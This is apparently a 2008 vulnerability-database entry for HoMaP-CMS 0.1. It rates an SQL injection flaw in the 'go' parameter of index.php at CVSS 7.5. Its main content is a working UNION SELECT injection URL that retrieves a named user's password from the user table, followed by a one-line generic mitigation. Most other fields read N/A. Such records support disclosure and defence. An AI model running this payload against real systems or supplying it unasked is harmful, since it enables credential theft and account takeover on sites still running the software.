vendor:
HoMaP-CMS
by:
SxCx
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: HoMaP-CMS
Affected Version From: 0.1
Affected Version To: 0.1
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008
HoMaP-CMS 0.1 (index.php go) SQL Injection Vulnerability
index.php?go=0'+union+select+passwd+from+user+where+username=[USERNAME]
Mitigation:
Input validation and sanitization should be done to prevent SQL injection attacks.